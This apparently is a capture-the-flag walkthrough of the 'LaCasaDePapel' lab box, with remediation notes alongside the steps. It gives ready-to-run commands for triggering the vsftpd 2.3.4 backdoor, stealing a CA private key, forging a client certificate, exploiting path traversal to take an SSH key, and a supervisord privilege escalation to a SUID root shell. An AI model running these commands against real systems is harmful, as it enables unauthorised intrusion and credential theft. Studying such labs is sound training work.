LaCasaDePapel
Summary
I scanned the target, recognised the FTP server as vsftpd 2.3.4—a version that ships with a deliberate backdoor—and triggered that backdoor to open an unauthenticated PHP interactive shell on port 6200. Through that shell, native PHP file-read functions were used to steal the HTTPS server's TLS Certificate Authority private key from disk. The stolen key was used to forge a trusted client certificate, bypassing the mutual-TLS gate on the admin web panel.
A path-traversal vulnerability in the panel then exposed a user's SSH private key, enabling login as the professor account. Finally, I overwrote a supervisord configuration file that a root-owned process re-executed automatically, achieving full root access in under one polling cycle.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -p21,22,80,443,6200 --open --min-rate 5000 $TARGETnmap -Pn -sV -sC -p21,22,80,443 $TARGETExact commands 2
printf 'USER pwn:\x29\r\nPASS pwn\r\n' | nc -w 2 $TARGET 21nc -w 5 $TARGET 6200FixReplace vsftpd 2.3.4 — this version ships with a deliberate backdoorCritical
Exact commands 2
printf 'print_r(scandir("/home"));\n' | nc -w 5 $TARGET 6200printf 'echo file_get_contents("/home/nairobi/ca.key");\n' | nc -w 5 $TARGET 6200 | grep -A200 'BEGIN' > /tmp/lcdp_ca.keyFixRemove or firewall the unauthenticated PHP interactive shell on port 6200Critical
Exact commands 4
openssl s_client -connect $TARGET:443 -showcerts -servername lacasadepapel.htb </dev/null 2>/dev/null | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{print}' > /tmp/lcdp_server_chain.pemopenssl req -newkey rsa:2048 -nodes -keyout /tmp/lcdp_client.key -out /tmp/lcdp_client.csr -subj "/CN=$USERNAME/O=La Casa De Papel" 2>/dev/nullopenssl x509 -req -in /tmp/lcdp_client.csr -CA /tmp/lcdp_server_chain.pem -CAkey /tmp/lcdp_ca.key -CAcreateserial -out /tmp/lcdp_client.crt -days 365 2>/dev/nullcurl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key https://lacasadepapel.htb/FixRestrict access to the TLS Certificate Authority private keyHigh
Exact commands 2
b=$(printf '%s' '../../professor/.ssh/id_rsa' | base64 -w0); curl -sk --resolve lacasadepapel.htb:443:$TARGET --cert /tmp/lcdp_client.crt --key /tmp/lcdp_client.key "https://lacasadepapel.htb/file/$b" -o /tmp/lcdp_professor_id_rsachmod 600 /tmp/lcdp_professor_id_rsaFixFix the path-traversal vulnerability in the HTTPS file-serving endpointHigh
Exact commands 2
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /tmp/lcdp_professor_id_rsa professor@$TARGETcat ~/user.txtExact commands 3
ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat > /home/professor/memcached.ini <<EOF
[program:memcached]
command = /bin/sh -c "cp /bin/busybox /tmp/rootbox; chmod 4755 /tmp/rootbox; cat /root/root.txt > /tmp/rootflag"
EOF'ssh -o StrictHostKeyChecking=no -i /tmp/lcdp_professor_id_rsa professor@$TARGET 'cat /tmp/rootflag'/tmp/rootbox sh -pFixRemove write access to supervisord configuration files from unprivileged usersCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 21/tcp | ftp vsftpd 2.3.4 |
| 22/tcp | ssh OpenSSH 7.9 (protocol 2.0) |
| 80/tcp | http Node.js (Express middleware) |
| 443/tcp | ssl/http Node.js Express framework |